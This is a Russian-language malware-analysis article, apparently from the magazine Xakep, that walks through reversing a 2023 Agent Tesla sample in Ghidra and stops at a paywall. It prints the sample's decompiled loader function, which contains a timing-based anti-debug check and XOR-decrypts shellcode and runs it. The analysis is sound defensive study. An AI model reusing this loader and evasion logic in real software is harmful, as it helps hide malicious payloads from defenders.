Не­дав­но мне попал­ся инте­рес­ный экзем­пляр мал­вари под наз­вани­ем Agent Tesla. Он рас­простра­нен и исполь­зует­ся по сей день (семпл 2023 года). Пред­лагаю поп­робовать иссле­довать его и пос­мотреть, что внут­ри у боевой мал­вари.

Кро­ме того, мы стол­кнем­ся:

  • с рас­паков­кой инстал­лятора NSIS и ана­лизом получен­ного инстал­ляци­онно­го скрип­та, который нам поможет в рас­паков­ке;
  • по­иском фун­кции main при ее обвязке в CRT (мож­но будет уди­вить­ся, сколь­ко кода неяв­но закиды­вает ком­пилятор в .exe);
  • рас­шифров­кой и дам­пингом шелл‑кода и пред­варитель­ным поис­ком его по фун­кции выделе­ния памяти;
  • пра­виль­ной заг­рузкой получен­ного шелл‑кода в дизас­сем­блер.

В этот раз я отой­ду от сво­ей тра­диции исполь­зовать IDA Pro для ревер­синга: вмес­то это­го возь­мем Ghidra. С момен­та ее выпус­ка прош­ло уже нес­коль­ко лет, она обза­велась вну­шитель­ным спис­ком баг­фиксов и новых фич, к тому же она бес­плат­на и пос­тоян­но обновля­ется.

info

В прош­лый раз я пи­сал о Ghidra в 2019 году, ког­да этот инс­тру­мент толь­ко‑толь­ко стал дос­тупен широкой пуб­лике.

 

Подготовительные работы

На­чина­ем этап пред­варитель­ной раз­ведки: закиды­ваем семпл в детек­тор пакеров и про­тек­торов DiE. Выяс­няем, что мал­варь пос­тавля­ется в виде инстал­лятора NSIS.

Результат сканирования DiE инсталлятора Agent Tesla
Ре­зуль­тат ска­ниро­вания DiE инстал­лятора Agent Tesla

Из­вле­каем содер­жимое инстал­лятора и получа­ем нес­коль­ко фай­лов. Обра­ти вни­мание, что сре­ди рас­пакован­ных фай­лов дол­жен быть скрипт NSIS, который содер­жит полез­ную информа­цию. Для рас­паков­ки я исполь­зовал уста­рев­шую вер­сию 7-Zip (под­дер­жка извле­чения скрип­тов начина­ется с вер­сии 4.42 и прек­раща­ется в вер­сии 15.06).

Интересная часть NSIS-скрипта
Ин­терес­ная часть NSIS-скрип­та

В этой час­ти скрип­та мы видим спи­сок фай­лов в инстал­ляторе и парамет­ры запус­ка единс­твен­ного .exe (это инте­рес­но и при­годит­ся нам в даль­нейшем). Сре­ди про­чих дан­ных скрип­та есть путь уста­нов­ки InstallDir $TEMP. Теперь пос­мотрим на PE-файл в DiE.

Смотрим распакованный PE в DiE
Смот­рим рас­пакован­ный PE в DiE

Вид­но, что файл написан на C/C++, ском­пилиро­ван для 32-бит­ных сис­тем и, судя по не осо­бен­но высокой энтро­пии, не запако­ван. Приш­ло вре­мя заг­рузить его в Ghidra.

 

Реверсим

Сре­ди фун­кций, перечис­ленных в таб­лице импорта, есть упо­мина­ние VirtualAlloc. Она‑то нас и инте­ресу­ет, потому что мал­варь час­то исполь­зует ее для выделе­ния памяти под рас­паков­ку. Вос­ста­нав­лива­ем перек­рес­тную ссыл­ку и видим фун­кцию, в которой она вызыва­ется.

Мы мог­ли бы поп­робовать пой­ти «быс­трым» путем: заг­рузить вре­донос в отладчик, пос­тавить бряк на VirtualAlloc и... обло­мать­ся, потому что Agent Tesla завер­шится рань­ше бря­ка. Поэто­му всег­да советую в пер­вую оче­редь осмотреть инте­рес­ные вызовы и при­лега­ющий к ним код в ста­тике.

Фун­кция неболь­шая, при­веду лис­тинг деком­пилято­ра Ghidra пол­ностью. Тем более что она нам инте­рес­на поч­ти вся.

BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)
{
DWORD DVar1;
DWORD DVar2;
BOOL BVar3;
HANDLE hFile;
HANDLE hFileMappingObject;
LPVOID _Src;
code *_Dst;
int local_8;
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
BVar3 = 0;
}
else {
hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
if (hFile == 0xffffffff) {
BVar3 = 0;
}
else {
hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);
if (hFileMappingObject == 0x0) {
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);
if (_Src == 0x0) {
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
if (_Dst == 0x0) {
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
FID_conflict:_memcpy(_Dst,_Src,0x1de0);
for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
_Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
}
(*_Dst)();
VirtualFree(_Dst,0,0x8000);
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
BVar3 = CloseHandle(hFile);
}
}
}
}
}
return BVar3;
}

Здесь сра­зу бро­сают­ся в гла­за стро­ки кода, содер­жащие прос­тую анти­отладку:

DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
BVar3 = 0;
}
else {

Это извес­тный анти­отла­доч­ный при­ем, который про­веря­ет ско­рость выпол­нения кода. Если код выпол­няет­ся слиш­ком мед­ленно (замеря­ем вре­мя выпол­нения в мил­лисекун­дах при помощи двух вызовов GetTickCount), перемен­ная BVar3 при­нима­ет зна­чение 0, и прог­рамма завер­шает­ся.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии